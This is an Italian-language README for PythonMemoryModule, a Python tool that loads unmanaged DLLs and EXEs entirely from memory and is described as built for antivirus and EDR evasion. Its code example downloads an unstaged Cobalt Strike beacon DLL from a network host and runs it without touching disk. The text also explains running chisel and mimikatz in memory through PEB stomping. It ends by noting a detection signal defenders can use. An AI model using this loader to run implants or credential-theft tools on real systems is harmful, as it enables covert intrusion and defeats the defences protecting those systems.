
Implementazione pura in Python della tecnica MemoryModule per caricare dll ed exe non gestiti completamente dalla memoria.
implementazione pura Python della tecnica MemoryModule per caricare una DLL o un EXE non gestito interamente dalla memoria
immagine generata dall'IA di "Python memory module" - hotpot.ai
PythonMemoryModule è un porting in Python ctypes della tecnica MemoryModule originariamente pubblicata da Joachim Bauch. Può caricare una DLL o un EXE non gestito usando Python senza richiedere l'uso di una libreria esterna (pyd) e ha un supporto (parziale) per il passaggio di parametri da riga di comando.
Si basa su pefile per analizzare gli header PE, PythonForWindows per accedere ai parametri di processo e ctypes per il lavoro pesante. Lo strumento è stato inizialmente pensato per essere utilizzato come modulo di Pyramid per fornire evasione contro AV/EDR caricando payload DLL/EXE in python.exe interamente dalla memoria, tuttavia sono possibili altri casi d'uso (protezione della proprietà intellettuale, caricamento in memoria di pyd, derivazioni per altre tecniche più furtive) quindi ho deciso di creare un repository dedicato.
Nell'esempio seguente, una DLL beacon senza staging di Cobalt Strike viene scaricata (non salvata su disco), caricata in memoria e avviata chiamando l'entrypoint.
import urllib.request
import ctypes
import pythonmemorymodule
request = urllib.request.Request('http://192.168.1.2/beacon.dll')
result = urllib.request.urlopen(request)
buf=result.read()
dll = pythonmemorymodule.MemoryModule(data=buf, debug=True)
startDll = dll.get_proc_addr('StartW')
assert startDll()
#dll.free_library()
Nota: se utilizzi lo staging nel tuo profilo malleabile, la DLL non sarebbe in grado di caricarsi con LoadLibrary, quindi MemoryModule non funzionerà.

Nell'esempio seguente utilizziamo la funzionalità di passaggio dei parametri da riga di comando per eseguire chisel in memoria.
https://github.com/naksyn/PythonMemoryModule/assets/59816245/cdc91760-1897-450f-9770-1cd2377913c7
Questa tecnica è stata implementata sovrascrivendo il parametro Commandline nel PEB a runtime. Non funzionerà con tutti gli eseguibili poiché dipende da quali funzioni vengono utilizzate per passare gli argomenti.
In generale, per ottenere una tecnica universalmente funzionante sarebbe necessario hook GetCommandlineA, GetCommandlineW, __getmainargs e __wgetmainargs poiché il PEB stomping non copre tutti i casi, maggiori dettagli qui.
Durante i miei test ho scoperto che mimikatz e diversi binari Go funzionano semplicemente facendo PEB stomping, d'altra parte, il passaggio dei parametri tramite PEB stomping da solo per binari compilati con mingw e VS probabilmente non funzionerà.
L'uso della tecnica MemoryModule rispetterà per lo più i permessi delle sezioni della DLL target e eviterà il rumoroso approccio RWX. Tuttavia, all'interno della memoria del programma ci sarà un commit privato non supportato da una DLL su disco e questo è un segnale rivelatore di MemoryModule.